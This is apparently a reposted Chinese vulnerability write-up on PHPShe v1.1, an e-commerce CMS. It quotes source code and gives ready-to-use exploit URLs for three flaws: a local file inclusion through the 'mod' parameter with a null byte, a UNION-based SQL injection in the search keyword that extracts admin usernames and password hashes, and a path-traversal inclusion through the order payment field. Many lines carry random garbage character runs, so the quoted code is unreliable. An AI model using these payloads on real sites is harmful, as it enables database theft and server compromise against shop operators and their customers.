phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
. m# x+ g( n" i; r- {7 K) l: u' g/* Phpshe v1.1 Vulnerability
8 O' K% m" t" h8 R/* ========================
" [. s5 t1 v+ j* E& U+ P$ g: Q& q2 `/* By: : Kn1f3
$ m2 e3 b% D  b- @6 S' I+ k! j  a- _* S. D/* E-Mail : 681796@qq.com
/*******************************************************/
4 X9 y6 q7 T7 F3 _1 U4 }; [0×00 整体大概参数传输

- {$ i' f. D9 P7 x! ~. X; X

//common.php
! {4 N7 L  z( T. Q" Pif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
2 ?! u6 y+ z# q! C}
else {
5 F1 n/ J9 z; t! I9 p!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
3 W! E. p/ a5 v7 I$ o: D$ v4 ysession_start();
2 ~" g1 o( U* L' B# J5 U% X7 G* p!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

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//首页文件
1 q. N0 ^2 N6 r0 ^/ J<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
- U$ E* L7 B% A1 X1 d7 W7 t! @; G?>
//common 文件 第15行开始
2 ^2 X( P$ b. i- P+ h$ Wurl路由配置
$module = $mod = $act = 'index';
5 `) j8 i6 {4 b; {5 m# F$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
5 M; h, W1 _( o: L. \7 s* H$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
( s0 Q+ _* V& l: D0 O% y# _//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

  Z: p9 U; r& ^9 V2 j% [- r<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
/ v2 l: q! n* d6 l# w( C5 y5 d. epe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
! z3 c7 G3 P# ^) o}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
5 w8 `/ @5 d) G" N, ^9 K+ t$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
, q6 A, H5 L, W8 Y}
else {
4 ]" @0 v6 |# h) Z& ?$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
9 G# Y- x: ?( u1 [5 h. t//热卖排行
* ?/ Y  X) S  x9 Y" i9 W& \( R$product_hotlist = product_hotlist();
+ Z6 ?5 K/ B# _, z2 r//当前路径
- ^& {# C; {0 S9 K7 s$ x& o$nowpath = category_path($category_id);
! t3 Q7 N' z! w9 u* Y4 H1 }$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
$ l/ n- i; t4 k$ M9 ?' W# _//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
2 u$ ?' I6 g7 u% K6 H) Z3 O//exp
" g8 c" m; ~9 x: h, Z& A' k# fproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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; h2 I: r3 E$ }7 n9 ?0×03 包含漏洞2
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" p1 O8 S# \1 g2 |9 T: i<code id="code3">

//order.php

case 'pay':

6 ?. O  q* N- L# @$order_id = pe_dbhold($_g_id);

5 U( b5 ~( s, E$ h8 M4 R7 l$ a" t& B9 J, X$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

( `7 s8 Q' S2 i/ N: N$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

; y9 k; E8 |8 {7 b, L& s4 b}

1 U! D1 a# J% F2 n4 @}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

2 M$ `1 i  c5 ]4 l) Z9 F!$order['order_id'] && pe_error('订单号错误...');

6 ?% f5 L  f/ K6 cif (isset($_p_pesubmit)) {

0 Y; z; ~8 X4 P# cif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
; [' F* Y+ v( T1 }. n# A

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

3 z: h% N1 k+ f% }! g" S6 A}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

3 g; T1 |0 z8 y0 E% gpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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